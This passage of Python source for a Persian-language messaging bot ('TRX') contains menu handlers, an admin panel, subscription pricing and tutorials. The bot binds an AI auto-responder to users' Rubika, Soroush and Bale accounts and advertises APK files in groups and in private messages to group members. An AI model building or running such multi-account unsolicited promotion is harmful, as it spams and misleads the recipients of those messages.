                               [(t(lang, "btn.home"), "menu", "primary")]]))
    if data.startswith("ai.tone:"):
        tn = data.split(":")[1]
        db.execute("UPDATE users SET tone=? WHERE user_id=?", (tn, uid))
        return await _edit(chat_id, msg_id, f"🎭 Tone: **{t(lang,'tone.'+tn)}**", back_home(lang))
    if data == "ai.kb":
        r = db.fetchone("SELECT value FROM settings WHERE key=?", (f"kb:{uid}",))
        body = r["value"] if r else "—"
        state.set(uid, State.EDIT_KB)
        return await _edit(chat_id, msg_id,
                          f"🧠 **دانش محصول**\n\nموجودی:\n`{body[:600]}`\n\n"
                          "برای بروزرسانی، متن دانش محصول را ارسال کنید.",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))
    if data == "ai.stats":
        return await _edit(chat_id, msg_id, _ai_stats_text(uid), back_home(lang))
    if data == "ai.pv":
        state.set(uid, State.AI_PV_TARGET)
        return await _edit(chat_id, msg_id,
                          "📢 **تبلیغ در PV**\n\nلینک یا آیدی گروه هدف را بفرستید:\n"
                          "مثال: `@target_group`",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))
    if data == "ai.group":
        return await _edit(chat_id, msg_id,
                          "📣 **تبلیغ در گروه**\n\nپلتفرم را انتخاب کنید:",
                          IKB([[("🔵 روبیکا", "ai.group.plat:rubika", "primary")],
                               [("🟢 سروش", "ai.group.plat:soroush", "success")],
                               [("🟡 بله", "ai.group.plat:bale", "primary")],
                               [(t(lang, "btn.cancel"), "cancel", "danger")]]))
    if data.startswith("ai.group.plat:"):
        plat = data.split(":")[1]
        state.set(uid, State.AI_GROUP_LINK, platform=plat)
        return await _edit(chat_id, msg_id, f"📣 **تبلیغ در گروه ({plat})**\n\nلینک گروه هدف را بفرستید:",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))
    if data == "ai.channel":
        return await _edit(chat_id, msg_id,
                          "📰 **کانال خودکار**\n\nپلتفرم را انتخاب کنید:",
                          IKB([[("🔵 روبیکا", "ai.channel.plat:rubika", "primary")],
                               [("🟢 سروش", "ai.channel.plat:soroush", "success")],
                               [("🟡 بله", "ai.channel.plat:bale", "primary")],
                               [(t(lang, "btn.cancel"), "cancel", "danger")]]))
    if data.startswith("ai.channel.plat:"):
        plat = data.split(":")[1]
        state.set(uid, State.AI_CHANNEL_NAME, platform=plat)
        return await _edit(chat_id, msg_id, f"📰 **کانال خودکار ({plat})**\n\nنام کانال را وارد کنید:",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    # AI Bindings
    if data == "ai.bindings":
        return await _edit(chat_id, msg_id, _ai_binding_text(uid) + "\n\nپلتفرم را انتخاب کنید:", _ai_platform_kb())
    if data.startswith("ai.bind.plat:"):
        plat = data.split(":", 1)[1]
        rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC", (uid, plat))
        if not rows:
            return await _edit(chat_id, msg_id, f"❌ هیچ اکانت فعال {plat} پیدا نشد.",
                               IKB([[('📱 حساب‌ها', 'acc', 'primary')], [('↩️ بازگشت', 'ai.bindings', 'primary')]]))
        btns = []
        for a in rows:
            b = db.fetchone("SELECT enabled FROM ai_bindings WHERE account_id=?", (a['id'],))
            btns.append([(("🟢" if b and b['enabled'] else "⚪") + f" #{a['id']} — {a['phone']}", f"ai.bind.account:{a['id']}", "primary")])
        btns.append([('↩️ بازگشت', 'ai.bindings', 'primary')])
        return await _edit(chat_id, msg_id, f"🔗 **اکانت‌های {plat}**\n\nیکی را انتخاب کنید:", IKB(btns))
    if data.startswith("ai.bind.account:"):
        aid = int(data.split(":")[1])
        a = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
        if not a: return await _edit(chat_id, msg_id, '❌ اکانت پیدا نشد.', _ai_platform_kb())
        db.execute("INSERT OR IGNORE INTO ai_bindings(user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at) VALUES(?,?,?,?,?,?,?)",
                   (uid, aid, 1, 1, 0, now(), now()))
        info = active_clients.get(uid)
        client = ai_live_clients.get((uid, aid)) or (info.get('client') if info and info.get('account_id') == aid else None)
        reg = False
        if client: reg = _register_ai_handler(client, uid, a['service'], aid)
        note = '' if reg else '\n⚠️ کلاینت زنده این اکانت در حافظه نیست؛ برای پاسخ خودکار باید اکانت دوباره لاگین شود.'
        return await _edit(chat_id, msg_id, f"✅ **AI روی اکانت انتخاب شد.**\n\n📱 {a['service']}\n🆔 `{aid}`{note}\n\nاول TEST را بزن.", ai_manage_kb(aid))
    if data.startswith("ai.bind.test:"):
        aid = int(data.split(":")[1])
        ok, info = await _ai_send_test(uid, aid)
        return await _edit(chat_id, msg_id, ("✅ **" if ok else "❌ **") + str(info) + "**", ai_manage_kb(aid))
    if data.startswith("ai.bind.toggle:"):
        aid = int(data.split(":")[1])
        db.execute("UPDATE ai_bindings SET enabled=1-enabled,updated_at=? WHERE account_id=? AND user_id=?", (now(), aid, uid))
        return await _edit(chat_id, msg_id, '⚙️ وضعیت AI تغییر کرد.', ai_manage_kb(aid))
    if data.startswith("ai.bind.pv:"):
        aid = int(data.split(":")[1])
        db.execute("UPDATE ai_bindings SET auto_reply_pv=1-auto_reply_pv,updated_at=? WHERE account_id=? AND user_id=?", (now(), aid, uid))
        return await _edit(chat_id, msg_id, '💬 وضعیت پاسخ PV تغییر کرد.', ai_manage_kb(aid))
    if data.startswith("ai.bind.group:"):
        aid = int(data.split(":")[1])
        db.execute("UPDATE ai_bindings SET auto_reply_group=1-auto_reply_group,updated_at=? WHERE account_id=? AND user_id=?", (now(), aid, uid))
        return await _edit(chat_id, msg_id, '👥 وضعیت پاسخ گروه تغییر کرد.\n\nارسال انبوه/PV ناخواسته در این نسخه فعال نیست.', ai_manage_kb(aid))
    if data.startswith("ai.bind.del:"):
        aid = int(data.split(":")[1])
        db.execute("DELETE FROM ai_bindings WHERE account_id=? AND user_id=?", (aid, uid))
        return await _edit(chat_id, msg_id, '🗑 اتصال AI حذف شد.', _ai_platform_kb())

    # Reports
    if data == "rep":
        return await _edit(chat_id, msg_id, _reports_text(uid, lang), back_home(lang))

    # Tutorial
    if data == "tut":
        return await _edit(chat_id, msg_id, "📚 **آموزش TRX**", tutorial_menu(lang))
    if data.startswith("tut:"):
        section = data.split(":")[1]
        return await _edit(chat_id, msg_id, _tutorial_text(section, lang), tutorial_menu(lang))

    # Admin Panel
    if data == "admin" and is_admin(uid):
        return await _edit(chat_id, msg_id, t(lang, "admin.title"), admin_menu(lang))
    if data.startswith("adm.") and is_admin(uid):
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data)

def ai_advanced_menu(lang, uid):
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    is_on = u and u["ai_enabled"]
    st_btn = (("🔴 خاموش کن", "ai.tog", "danger") if is_on else ("🟢 روشن کن", "ai.tog", "success"))
    return IKB([
        [st_btn],
        [(t(lang, "ai.kb"), "ai.kb", "primary")],
        [(t(lang, "ai.tone"), "ai.tone", "primary")],
        [(t(lang, "ai.pv"), "ai.pv", "primary")],
        [(t(lang, "ai.group"), "ai.group", "primary")],
        [(t(lang, "ai.channel"), "ai.channel", "primary")],
        [(t(lang, "ai.stats"), "ai.stats", "primary")],
        [(t(lang, "btn.home"), "menu", "primary")],
    ])

# ═══════════════════════════════════════════════════════════════════
#  ADMIN PANEL
# ═══════════════════════════════════════════════════════════════════

def admin_menu(lang):
    return IKB([
        [(t(lang, "admin.users"), "adm.users", "primary"),
         (t(lang, "admin.apis"), "adm.apis", "primary")],
        [(t(lang, "admin.banner"), "adm.banner", "primary"),
         (t(lang, "admin.force"), "adm.force", "primary")],
        [(t(lang, "admin.broadcast"), "adm.broadcast", "primary"),
         (t(lang, "admin.sub_setting"), "adm.pricing", "primary")],
        [(t(lang, "admin.stats"), "adm.stats", "primary"),
         (t(lang, "admin.logs"), "adm.logs", "primary")],
        [(t(lang, "admin.maint"), "adm.maint", "danger")],
        [(t(lang, "btn.home"), "menu", "primary")],
    ])

def admin_users_menu(lang):
    return IKB([
        [("📋 لیست کاربران", "adm.users.list", "primary")],
        [("🚫 کاربران مسدود", "adm.users.banned", "danger")],
        [("➕ افزودن اشتراک", "adm.sub.add", "success")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])

def admin_apis_menu(lang):
    return IKB([
        [("📋 لیست APIها", "adm.apis.list", "primary")],
        [("➕ افزودن API", "adm.api.add", "success")],
        [("🧪 تست همه", "adm.apis.testall", "primary")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])

def admin_banners_menu(lang):
    return IKB([
        [("🏠 منوی اصلی", "adm.banner.slot:main_menu", "primary")],
        [("🤖 پنل AI", "adm.banner.slot:ai_panel", "primary")],
        [("📱 پنل حساب‌ها", "adm.banner.slot:accounts", "primary")],
        [("💳 اشتراک", "adm.banner.slot:subscription", "primary")],
        [("📦 مدیریت APK", "adm.banner.slot:apk", "primary")],
        [("🛡 پنل ادمین", "adm.banner.slot:admin", "danger")],
        [("📋 لیست بنرها", "adm.banner.list", "success")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])

def admin_force_menu(lang):
    return IKB([
        [("📋 لیست کانال‌ها", "adm.force.list", "primary")],
        [("➕ افزودن کانال", "adm.force.add", "success")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])

def admin_pricing_menu(lang):
    return IKB([
        [("📋 لیست پلن‌ها", "adm.pricing.list", "primary")],
        [("➕ افزودن پلن", "adm.pricing.add", "success")],
        [("🗑 حذف پلن", "adm.pricing.del", "danger")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])

async def admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data):
    if data == "adm.stats":
        us = db.fetchone("SELECT COUNT(*) c FROM users")["c"]
        accs = db.fetchone("SELECT COUNT(*) c FROM accounts")["c"]
        apr = db.fetchone("SELECT COUNT(*) c FROM apk_files")["c"]
        pro = db.fetchone("SELECT COUNT(*) c FROM ai_providers WHERE status='working'")["c"]
        subs = db.fetchone("SELECT COUNT(*) c FROM subscriptions WHERE status='active'")["c"]
        return await _edit(chat_id, msg_id,
                          f"📊 **آمار سیستم**\n\n"
                          f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                          f"👥 کاربران: **{us}**\n📱 حساب‌ها: **{accs}**\n"
                          f"📦 APKها: **{apr}**\n💳 اشتراک فعال: **{subs}**\n"
                          f"🔌 AI فعال: **{pro}**\n"
                          f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━",
                          IKB([[(t(lang, "btn.back"), "admin", "primary")]]))

    if data == "adm.users":
        return await _edit(chat_id, msg_id, "👥 **مدیریت کاربران**", admin_users_menu(lang))

    if data == "adm.users.list":
        rows = db.fetchall("SELECT * FROM users ORDER BY last_activity DESC LIMIT 30")
        lines = ["👥 **کاربران (30 اخیر)**\n", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        btns = []
        for r in rows:
            st = "🚫" if r["is_banned"] else "🟢"
            sub = get_active_subscription(r["user_id"])
            sub_txt = "💳" if sub else "—"
            lines.append(f"{st} `{r['user_id']}` @{r['username'] or '-'} {sub_txt}")
            btns.append([(f"👤 {r['user_id']}", f"adm.user.mg:{r['user_id']}", "primary")])
        btns.append([(t(lang, "btn.back"), "adm.users", "primary")])
        return await _edit(chat_id, msg_id, "\n".join(lines), IKB(btns))

    if data.startswith("adm.user.mg:"):
        target = int(data.split(":")[1])
        r = db.fetchone("SELECT * FROM users WHERE user_id=?", (target,))
        if not r: return await _edit(chat_id, msg_id, "❌ User not found.", admin_users_menu(lang))
        sub = get_active_subscription(target)
        accs = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=?", (target,))["c"]
        apks = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=?", (target,))["c"]
        sub_txt = "🔴 None"
        if sub: sub_txt = f"🟢 {sub['accounts']}acc / {sub['days']}d → {sub['expires_at'][:10]}"
        txt = (f"👤 **User `{target}`**\n\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
               f"📛 @{r['username'] or '-'} | {r['first_name'] or '-'}\n"
               f"📅 Joined: `{r['created_at'][:10]}`\n💳 Sub: {sub_txt}\n"
               f"📱 Accounts: **{accs}**\n📦 APKs: **{apks}**\n"
               f"🚫 Banned: {'Yes' if r['is_banned'] else 'No'}\n"
               f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
        btns = []
        if r["is_banned"]: btns.append([("✅ آنبن", f"adm.unban:{target}", "success")])
        else: btns.append([("🚫 بن", f"adm.ban:{target}", "danger")])
        btns.append([("💳 افزودن اشتراک", f"adm.sub.add:{target}", "success")])
        btns.append([(t(lang, "btn.back"), "adm.users.list", "primary")])
        return await _edit(chat_id, msg_id, txt, IKB(btns))

    if data.startswith("adm.ban:"):
        target = int(data.split(":")[1])
        db.execute("UPDATE users SET is_banned=1 WHERE user_id=?", (target,))
        log_event(target, "BANNED_BY_ADMIN", str(uid))
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, f"adm.user.mg:{target}")

    if data.startswith("adm.unban:"):
        target = int(data.split(":")[1])
        db.execute("UPDATE users SET is_banned=0 WHERE user_id=?", (target,))
        log_event(target, "UNBANNED_BY_ADMIN", str(uid))
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, f"adm.user.mg:{target}")

    if data == "adm.users.banned":
        rows = db.fetchall("SELECT * FROM users WHERE is_banned=1")
        lines = ["🚫 **کاربران مسدود**\n"]
        for r in rows: lines.append(f"`{r['user_id']}` @{r['username'] or '-'}")
        if not rows: lines.append("—")
        return await _edit(chat_id, msg_id, "\n".join(lines),
                          IKB([[(t(lang, "btn.back"), "adm.users", "primary")]]))

    if data == "adm.sub.add" or data.startswith("adm.sub.add:"):
        if ":" in data:
            target = int(data.split(":")[1])
            state.set(uid, State.ADD_SUB_AMOUNT, target_uid=target)
            return await _edit(chat_id, msg_id, f"📅 تعداد روز برای کاربر `{target}`:",
                              IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))
        state.set(uid, State.ADD_SUB_USER)
        return await _edit(chat_id, msg_id, "👤 آیدی عددی کاربر را ارسال کنید:",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    # ── Pricing ──
    if data == "adm.pricing":
        return await _edit(chat_id, msg_id, "💰 **مدیریت پلن‌های اشتراک**", admin_pricing_menu(lang))

    if data == "adm.pricing.list":
        rows = db.fetchall("SELECT * FROM pricing_plans ORDER BY days ASC")
        lines = ["💰 **پلن‌های اشتراک**\n", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        for r in rows:
            st = "🟢" if r["enabled"] else "🔴"
            lines.append(f"{st} `#{r['id']}` {r['accounts']} اکانت / {r['days']} روز — {r['price']} TRX")
        if not rows: lines.append("—")
        btns = [[(f"🗑 #{r['id']}", f"adm.pricing.delid:{r['id']}", "danger")] for r in rows]
        btns.append([(t(lang, "btn.back"), "adm.pricing", "primary")])
        return await _edit(chat_id, msg_id, "\n".join(lines), IKB(btns))

    if data == "adm.pricing.add":
        state.set(uid, State.ADD_PRICING_PLAN)
        return await _edit(chat_id, msg_id,
                          "📝 فرمت: `روز اکانت قیمت`\n\nمثال: `2 6 10`\n"
                          "یعنی ۲ روز، ۶ اکانت، ۱۰ TRX",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    if data.startswith("adm.pricing.delid:"):
        pid = int(data.split(":")[1])
        db.execute("DELETE FROM pricing_plans WHERE id=?", (pid,))
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, "adm.pricing.list")

    if data == "adm.pricing.del":
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, "adm.pricing.list")

    # ── AI APIs ──
    if data == "adm.apis":
        return await _edit(chat_id, msg_id, "🔌 **مدیریت APIهای هوش مصنوعی**", admin_apis_menu(lang))

    if data == "adm.apis.list":
        rows = db.fetchall("SELECT * FROM ai_providers ORDER BY priority")
        lines = ["🔌 **APIهای هوش مصنوعی**\n", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        btns = []
        for r in rows:
            e = {"working": "🟢", "rate_limited": "🟡", "failed": "🔴", "unknown": "⚪"}.get(r["status"], "⚪")
            status_txt = {"working": "فعال", "rate_limited": "محدودیت", "failed": "خطا", "unknown": "نامشخص"}.get(r["status"], "?")
            lines.append(f"{e} `#{r['id']}` **{r['name']}** — {status_txt}")
            btns.append([(f"🧪 تست #{r['id']}", f"adm.api.test:{r['id']}", "primary"),
                         (f"🗑 حذف #{r['id']}", f"adm.api.del:{r['id']}", "danger")])
        btns.append([("➕ افزودن API", "adm.api.add", "success")])
        btns.append([("🧪 تست همه", "adm.apis.testall", "primary")])
        btns.append([(t(lang, "btn.back"), "adm.apis", "primary")])
        return await _edit(chat_id, msg_id, "\n".join(lines), IKB(btns))

    if data == "adm.api.add":
        state.set(uid, State.ADD_PROVIDER_NAME)
        return await _edit(chat_id, msg_id, "نام Provider را وارد کنید:\nمثال: `MY_GROQ_1`",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    if data.startswith("adm.api.test:"):
        pid = int(data.split(":")[1])
        ok, info = await ai.test(pid)
        prov = db.fetchone("SELECT * FROM ai_providers WHERE id=?", (pid,))
        if ok: return await bot.answer_cb(cb_id, f"✅ {prov['name']} فعال است!", alert=True)
        return await bot.answer_cb(cb_id, f"❌ {prov['name']} کار نمی‌کند:\n{str(info)[:100]}", alert=True)

    if data == "adm.apis.testall":
        await bot.answer_cb(cb_id, "🧪 در حال تست...", alert=False)
        rows = db.fetchall("SELECT * FROM ai_providers ORDER BY priority")
        lines = ["🧪 **نتیجه تست همه APIها**\n", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        for r in rows:
            ok, info = await ai.test(r["id"])
            e = "🟢" if ok else "🔴"
            lines.append(f"{e} `#{r['id']}` **{r['name']}** — {'فعال' if ok else 'خطا'}")
        return await _edit(chat_id, msg_id, "\n".join(lines),
                          IKB([[(t(lang, "btn.back"), "adm.apis", "primary")]]))

    if data.startswith("adm.api.del:"):
        pid = int(data.split(":")[1])
        db.execute("DELETE FROM ai_providers WHERE id=?", (pid,))
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, "adm.apis.list")

    # ── Banners ──
    if data == "adm.banner":
        return await _edit(chat_id, msg_id,
                          "🖼 **مدیریت بنرها**\n\nبخش مورد نظر را انتخاب کنید:",
                          admin_banners_menu(lang))

    if data.startswith("adm.banner.slot:"):
        slot = data.split(":", 1)[1]
        state.set(uid, State.ADD_BANNER_IMAGE, slot=slot)
        return await _edit(chat_id, msg_id,
                          f"🖼 عکس بنر برای بخش **{slot}** را ارسال کنید (یا /skip):",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    if data == "adm.banner.list":
        rows = db.fetchall("SELECT * FROM banners ORDER BY slot")
        lines = ["🖼 **بنرهای ذخیره‌شده**\n", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        btns = []
        for r in rows:
            st = "🟢" if r["enabled"] else "🔴"
            lines.append(f"{st} `{r['slot']}` — {'دارد' if r['image_file_id'] else 'بدون عکس'}")
            btns.append([(f"🗑 حذف {r['slot']}", f"adm.banner.del:{r['slot']}", "danger")])
        if not rows: lines.append("—")
        btns.append([(t(lang, "btn.back"), "adm.banner", "primary")])
        return await _edit(chat_id, msg_id, "\n".join(lines), IKB(btns))

    if data.startswith("adm.banner.del:"):
        slot = data.split(":", 1)[1]
        db.execute("DELETE FROM banners WHERE slot=?", (slot,))
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, "adm.banner.list")

    # ── Force Join ──
    if data == "adm.force":
        return await _edit(chat_id, msg_id, "📌 **مدیریت عضویت اجباری**", admin_force_menu(lang))

    if data == "adm.force.list":
        rows = db.fetchall("SELECT * FROM force_join ORDER BY id")
        lines = ["📌 **کانال‌های عضویت اجباری**\n", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        btns = []
        for r in rows:
            st = "🟢" if r["enabled"] else "🔴"
            lines.append(f"{st} **{r['channel_title']}**\n   🆔 `{r['channel_id']}`")
            btns.append([(f"🗑 حذف {r['channel_title']}", f"adm.force.del:{r['id']}", "danger")])
        if not rows: lines.append("—")
        btns.append([("➕ افزودن کانال", "adm.force.add", "success")])
        btns.append([(t(lang, "btn.back"), "adm.force", "primary")])
        return await _edit(chat_id, msg_id, "\n".join(lines), IKB(btns))

    if data == "adm.force.add":
        state.set(uid, State.ADD_FORCE_CHANNEL)
        return await _edit(chat_id, msg_id,
                          "🆔 آیدی کانال را ارسال کنید:\nمثال: `@my_channel` یا `-1001234567890`\n\n"
                          "⚠️ ربات باید ادمین کانال باشد.",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    if data.startswith("adm.force.del:"):
        fid = int(data.split(":")[1])
        db.execute("DELETE FROM force_join WHERE id=?", (fid,))
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, "adm.force.list")

    # ── Broadcast ──
    if data == "adm.broadcast":
        state.set(uid, State.BROADCAST)
        users_count = db.fetchone("SELECT COUNT(*) c FROM users WHERE is_banned=0")["c"]
        return await _edit(chat_id, msg_id,
                          f"📣 **پیام همگانی**\n\n👥 تعداد کاربران: **{users_count}**\n\n"
                          f"متن پیام را ارسال کنید:",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    # ── Logs ──
    if data == "adm.logs":
        rows = db.fetchall("SELECT * FROM activity_logs ORDER BY id DESC LIMIT 25")
        lines = ["📜 **آخرین فعالیت‌ها**\n", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        for r in rows[::-1]:
            lines.append(f"`{r['created_at'][11:19]}` [{r['event']}] `{r['user_id']}`")
        return await _edit(chat_id, msg_id, "\n".join(lines),
                          IKB([[(t(lang, "btn.back"), "admin", "primary")]]))

    # ── Maintenance ──
    if data == "adm.maint":
        current = _is_bot_enabled()
        st = "🟢 روشن" if current else "🔴 خاموش"
        return await _edit(chat_id, msg_id,
                          f"🛠 **حالت تعمیرات**\n\nوضعیت ربات: **{st}**",
                          IKB([[(("🔴 خاموش کن" if current else "🟢 روشن کن"),
                                 "adm.maint.toggle", "danger" if current else "success")],
                               [(t(lang, "btn.back"), "admin", "primary")]]))

    if data == "adm.maint.toggle":
        current = _is_bot_enabled()
        _set_setting("bot_enabled", "0" if current else "1")
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, "adm.maint")

def _mask_phone(p):
    if not p or len(p) < 6: return p or "-"
    return p[:4] + "***" + p[-3:]

# ═══════════════════════════════════════════════════════════════════
#  TEXT BUILDERS
# ═══════════════════════════════════════════════════════════════════

def _sub_text(lang, uid):
    sub = get_active_subscription(uid)
    txt = "💳 **اشتراک**\n\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
    if sub:
        txt += (f"🟢 **فعال**\n📱 {sub['accounts']} اکانت / {sub['days']} روز\n"
                f"⏰ انقضا: `{sub['expires_at'][:10]}`\n\n")
    else:
        txt += "🔴 **اشتراکی ندارید**\n\n"
    txt += f"💰 ۱ TRX به ازای هر روز (۲ اکانت)\n📈 حداکثر: {MAX_ACCOUNTS} اکانت / {MAX_DAYS} روز\n"
    txt += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
    return txt

def _sub_kb(lang):
    plans = _get_pricing_plans()
    rows = []
    if plans:
        for p in plans:
            rows.append([(f"🔵 {p['accounts']} اکانت / {p['days']} روز — {p['price']} TRX",
                          f"sub.plan:{p['days']}:{p['accounts']}:{p['price']}", "primary")])
    else:
        for days in (1, 2, 3, 7, 30):
            for accs in (2, 4, 6, 10):
                price = max(1, (accs // 2) * days)
                rows.append([(f"🔵 {accs} اکانت / {days} روز — {price} TRX",
                              f"sub.plan:{days}:{accs}:{price}", "primary")])
                if len(rows) >= 8: break
            if len(rows) >= 8: break
    rows.append([(t(lang, "btn.home"), "menu", "primary")])
    return IKB(rows)

def _ai_stats_text(uid):
    total = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=?", (uid,))["c"]
    auto = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=? AND action_type='auto_reply'", (uid,))["c"]
    accs = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=?", (uid,))["c"]
    msgs = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE user_id=?", (uid,))["c"]
    return (f"📊 **آمار هوش مصنوعی**\n\n"
            f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
            f"🤖 کل درخواست‌ها: **{total}**\n"
            f"💬 پاسخ خودکار: **{auto}**\n"
            f"📱 حساب‌های متصل: **{accs}**\n"
            f"📨 پیام‌های ارسالی: **{msgs}**\n"
            f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n"
            f"📈 **تحلیل:**\n"
            f"AI روی {accs} حساب شما فعال است و تا کنون "
            f"{total} درخواست پردازش کرده. برای تبلیغ موثر، "
            f"پیشنهاد می‌شود لحن و دانش محصول را کامل کنید.")

def _reports_text(uid, lang):
    since = (datetime.utcnow() - timedelta(days=1)).isoformat()
    accs_total = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=?", (uid,))["c"]
    accs_active = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=? AND enabled=1", (uid,))["c"]
    ai_24h = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=? AND created_at>?", (uid, since))["c"]
    msgs = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE user_id=?", (uid,))["c"]
    apks = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=?", (uid,))["c"]
    txt = (f"📊 **گزارش کامل**\n\n"
           f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
           f"📱 **حساب‌ها**\n"
           f"   • کل: **{accs_total}**\n   • فعال: **{accs_active}**\n\n"
           f"🤖 **هوش مصنوعی (24h)**\n   • درخواست: **{ai_24h}**\n\n"
           f"📨 **پیام‌ها**\n   • کل ارسالی: **{msgs}**\n\n"
           f"📦 **APKها**\n   • تعداد: **{apks}**\n"
           f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n")
    txt += ("📈 **تحلیل عملکرد:**\n"
            f"شما {accs_active} حساب فعال دارید و در ۲۴ ساعت گذشته "
            f"{ai_24h} درخواست AI پردازش شده. برای بهبود، "
            f"لحن و دانش محصول را تنظیم کنید.")
    return txt

def tutorial_menu(lang):
    return IKB([
        [("🚀 شروع کار", "tut:start", "primary")],
        [("📱 افزودن حساب", "tut:accounts", "primary")],
        [("🤖 هوش مصنوعی", "tut:ai", "primary")],
        [("📦 APK و تبلیغ", "tut:apk", "primary")],
        [("💳 اشتراک", "tut:sub", "primary")],
        [("⚙️ تنظیمات", "tut:settings", "primary")],
        [(t(lang, "btn.home"), "menu", "primary")],
    ])

def _tutorial_text(section, lang):
    texts = {
        "start": ("🚀 **شروع کار با TRX**\n\n"
                  "1️⃣ با دستور `/start` منوی اصلی را باز کنید\n"
                  "2️⃣ از منو یکی از سرویس‌ها را انتخاب کنید\n"
                  "3️⃣ حساب خود را اضافه کنید\n"
                  "4️⃣ AI را روی آن فعال کنید\n"
                  "5️⃣ APK خود را ثبت کنید\n\n"
                  "💡 **نکته:** برای تبلیغ، ابتدا دانش محصول را تنظیم کنید."),
        "accounts": ("📱 **افزودن حساب**\n\n"
                     "1️⃣ منوی **حساب‌ها** → **افزودن حساب**\n"
                     "2️⃣ سرویس (روبیکا/سروش/بله) را انتخاب کنید\n"
                     "3️⃣ شماره با فرمت `+98912xxxxxxx` بفرستید\n"
                     "4️⃣ کد ارسال‌شده را وارد کنید\n"
                     "5️⃣ ✅ حساب اضافه می‌شود\n\n"
                     "⚠️ **محدودیت:** تعداد حساب‌ها طبق پلن اشتراک است."),
        "ai": ("🤖 **هوش مصنوعی**\n\n"
               "• **روشن/خاموش:** AI را فعال یا غیرفعال کنید\n"
               "• **دانش محصول:** توضیحات APK خود را وارد کنید\n"
               "• **لحن:** نحوه صحبت AI را انتخاب کنید\n"
               "• **تبلیغ PV:** به پیوی کاربران پیام بفرستید\n"
               "• **تبلیغ گروه:** در گروه‌ها تبلیغ کنید\n"
               "• **کانال خودکار:** کانال خودکار ایجاد کنید\n\n"
               "💡 هرچه دانش محصول کامل‌تر، پاسخ‌ها دقیق‌تر."),
        "apk": ("📦 **APK و تبلیغ**\n\n"
                "1️⃣ فایل APK را در **Saved Messages** بفرستید\n"
                "2️⃣ روی همان پیام `/id` بزنید\n"
                "3️⃣ ✅ APK ثبت می‌شود\n\n"
                "⚠️ حداکثر **۴ APK** همزمان.\n"
                "💡 AI از APK برای تبلیغ استفاده می‌کند."),
        "sub": ("💳 **اشتراک**\n\n"
                "• **۱ TRX** به ازای هر روز (۲ اکانت)\n"
                "• حداکثر **۲۰ اکانت** / **۹۰ روز**\n"
                "• پس از انتخاب پلن، با ادمین تماس بگیرید\n\n"
                f"👤 **ادمین:** {ADMIN_USERNAME}"),
        "settings": ("⚙️ **تنظیمات**\n\n"
                     "• **زبان:** فارسی / English\n"
                     "• **پشتیبانی:** ارتباط با ادمین\n\n"
                     f"👤 **ادمین:** {ADMIN_USERNAME}"),
    }
    return texts.get(section, "❌ بخش یافت نشد.")

# ═══════════════════════════════════════════════════════════════════
#  POLLING LOOP
# ═══════════════════════════════════════════════════════════════════

async def polling_loop():
    log.info("Polling loop started.")
    while bot.running:
        try:
            r = await bot.get_updates(timeout=25)
            if not r.get("ok"): await asyncio.sleep(3); continue
            for upd in r.get("result", []):
